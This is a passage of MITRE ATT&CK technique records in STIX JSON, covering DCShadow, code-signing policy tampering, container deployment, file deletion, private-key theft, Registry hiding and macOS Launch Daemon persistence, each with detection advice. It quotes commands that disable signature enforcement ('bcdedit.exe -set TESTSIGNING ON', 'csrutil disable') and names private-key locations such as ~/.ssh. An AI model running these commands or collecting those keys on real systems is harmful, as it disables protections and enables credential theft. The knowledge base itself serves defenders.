"x_mitre_platforms": ["Linux"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Process: OS API Execution", "File: File Modification", "Command: Command Execution", "File: File Deletion", "Process: Process Modification"], "type": "attack-pattern", "id": "attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054", "created": "2023-05-24T19:03:03.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/012", "external_id": "T1562.012"}, {"source_name": "IzyKnows auditd threat detection 2022", "description": "IzySec. (2022, January 26). Linux auditd for Threat Detection. Retrieved September 29, 2023.", "url": "https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505"}, {"source_name": "Red Hat System Auditing", "description": "Jahoda, M. et al.. (2017, March 14). Red Hat  Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"}, {"source_name": "ESET Ebury Feb 2014", "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"}, {"source_name": "Trustwave Honeypot SkidMap 2023", "description": "Radoslaw Zdonczyk. (2023, July 30). Honeypot Recon: New Variant of SkidMap Targeting Redis. Retrieved September 29, 2023.", "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-new-variant-of-skidmap-targeting-redis/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Vincent Le Toux"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a", "type": "attack-pattern", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1207", "url": "https://attack.mitre.org/techniques/T1207"}, {"url": "https://www.dcshadow.com/", "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.", "source_name": "DCShadow Blog"}, {"url": "https://adsecurity.org/?page_id=1821", "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", "source_name": "Adsecurity Mimikatz Guide"}, {"url": "https://github.com/shellster/DCSYNCMonitor", "description": "Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.", "source_name": "GitHub DCSYNCMonitor"}, {"url": "https://msdn.microsoft.com/en-us/library/ms677626.aspx", "description": "Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.", "source_name": "Microsoft DirSync"}, {"url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html", "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.", "source_name": "ADDSecurity DCShadow Feb 2018"}], "modified": "2022-03-08T21:20:04.850Z", "name": "Rogue Domain Controller", "description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.", "x_mitre_version": "2.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Active Directory: Active Directory Object Modification", "Network Traffic: Network Traffic Content", "User Account: User Account Authentication", "Active Directory: Active Directory Object Creation"], "x_mitre_defense_bypassed": ["Log analysis"], "x_mitre_permissions_required": ["Administrator"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Abel Morales, Exabeam"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", "created": "2021-04-23T01:04:57.161Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1553.006", "url": "https://attack.mitre.org/techniques/T1553/006"}, {"source_name": "Apple Disable SIP", "url": "https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection", "description": "Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021."}, {"source_name": "F-Secure BlackEnergy 2014", "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016."}, {"source_name": "FireEye HIKIT Rootkit Part 2", "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html", "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."}, {"source_name": "Microsoft Unsigned Driver Apr 2017", "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test", "description": "Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021."}, {"source_name": "Microsoft DSE June 2017", "url": "https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN", "description": "Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021."}, {"source_name": "Microsoft TESTSIGNING Feb 2021", "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option", "description": "Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021."}, {"source_name": "Unit42 AcidBox June 2020", "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/", "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."}, {"source_name": "GitHub Turla Driver Loader", "url": "https://github.com/hfiref0x/TDL", "description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include <code>bcdedit.exe -set TESTSIGNING ON</code> on Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying <code>g_CiOptions</code> to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)", "modified": "2022-05-05T05:00:03.480Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Code Signing Policy Modification", "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as <code>bcdedit.exe -set TESTSIGNING ON</code>.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as <code>HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing</code>. Modifications to the code signing policy of a system are likely to be rare.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Command: Command Execution", "Windows Registry: Windows Registry Key Modification", "Process: Process Creation"], "x_mitre_defense_bypassed": ["User Mode Signature Validation", "Digital Certificate Validation", "Application Control"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T21:24:42.680Z", "name": "Deploy Container", "description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)\n\nContainers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_contributors": ["Pawan Kinger, @kingerpawan, Trend Micro", "Alfredo Oliveira, Trend Micro", "Idan Frimark, Cisco", "Center for Threat-Informed Defense (CTID)", "Magno Logan, @magnologan, Trend Micro", "Ariel Shuper, Cisco", "Vishwas Manral, McAfee", "Yossi Weizman, Azure Defender Research Team", "Joas Antonio dos Santos, @C0d3Cr4zy"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Containers"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Container: Container Start", "Application Log: Application Log Content", "Pod: Pod Creation", "Container: Container Creation", "Pod: Pod Modification"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", "created": "2021-03-29T16:51:26.020Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1610", "external_id": "T1610"}, {"source_name": "AppSecco Kubernetes Namespace Breakout 2020", "description": "Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume \u2014 Part 1. Retrieved January 16, 2024.", "url": "https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216"}, {"source_name": "Aqua Build Images on Hosts", "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.", "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host"}, {"source_name": "Docker Containers API", "description": "Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021.", "url": "https://docs.docker.com/engine/api/v1.41/#tag/Container"}, {"source_name": "Kubernetes Workload Management", "description": "Kubernetes. (n.d.). Workload Management. Retrieved March 28, 2024.", "url": "https://kubernetes.io/docs/concepts/workloads/controllers/"}, {"source_name": "Kubeflow Pipelines", "description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.", "url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/"}, {"source_name": "Kubernetes Dashboard", "description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.", "url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Walker Johnson"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", "type": "attack-pattern", "created": "2017-05-31T21:31:17.915Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1107", "url": "https://attack.mitre.org/techniques/T1107"}, {"url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", "source_name": "Trend Micro APT Attack Tools"}], "modified": "2020-01-31T12:36:39.086Z", "name": "File Deletion", "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Host forensic analysis"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Itzik Kotler, SafeBreach"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1145", "url": "https://attack.mitre.org/techniques/T1145"}, {"url": "https://en.wikipedia.org/wiki/Public-key_cryptography", "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.", "source_name": "Wikipedia Public Key Crypto"}, {"url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf", "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.", "source_name": "Kaspersky Careto"}, {"url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/", "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.", "source_name": "Palo Alto Prince of Persia"}], "modified": "2020-02-18T16:51:57.775Z", "name": "Private Keys", "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2023-08-14T19:19:54.148Z", "name": "Modify Registry", "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Bartosz Jerzman", "Travis Smith, Tripwire", "David Lu, Tripwire"], "x_mitre_deprecated": false, "x_mitre_detection": "Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Modification", "Process: OS API Execution", "Network Traffic: Network Traffic Flow", "Command: Command Execution", "Windows Registry: Windows Registry Key Deletion", "Windows Registry: Windows Registry Key Creation", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Host forensic analysis"], "type": "attack-pattern", "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "created": "2017-05-31T21:31:23.587Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1112", "external_id": "T1112"}, {"source_name": "Microsoft Reg", "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.", "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx"}, {"source_name": "Microsoft Remote", "description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.", "url": "https://technet.microsoft.com/en-us/library/cc754820.aspx"}, {"source_name": "Microsoft 4657 APR 2017", "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.", "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657"}, {"source_name": "SpectorOps Hiding Reg Jul 2017", "description": "Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.", "url": "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353"}, {"source_name": "Microsoft Reghide NOV 2006", "description": "Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.", "url": "https://docs.microsoft.com/sysinternals/downloads/reghide"}, {"source_name": "Microsoft RegDelNull July 2016", "description": "Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.", "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull"}, {"source_name": "TrendMicro POWELIKS AUG 2014", "description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:48.453Z", "name": "Launch Daemon", "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor for new files added to the <code>/Library/LaunchDaemons/</code> folder. The System LaunchDaemons are protected by SIP.\n\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the <code>RunAtLoad</code> parameter set to true, ensure the <code>Program</code> parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as <code>Program</code> and <code>ProgramArguments</code> parameters but one must be present.(Citation: launchd Keywords for plists)\n\n", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["macOS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Process: Process Creation", "File: File Creation", "File: File Modification", "Service: Service Modification", "Command: Command Execution", "Service: Service Creation"], "x_mitre_effective_permissions": ["root", "Administrator"], "x_mitre_permissions_required": ["Administrator"], "type": "attack-pattern", "id": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", "created": "2020-01-17T19:23:15.227Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1543/004", "external_id": "T1543.004"}, {"source_name": "AppleDocs Launch Agent Daemons", "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"}, {"source_name": "Methods of Mac Malware Persistence", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"}, {"source_name": "launchd Keywords for plists", "description": "Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021.", "url": "https://www.real-world-systems.com/docs/launchdPlist.1.html"}, {"source_name": "WireLurker", "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"}, {"source_name": "OSX Malware Detection", "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf"}, {"source_name": "LaunchDaemon Hijacking", "description": "Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.", "url": 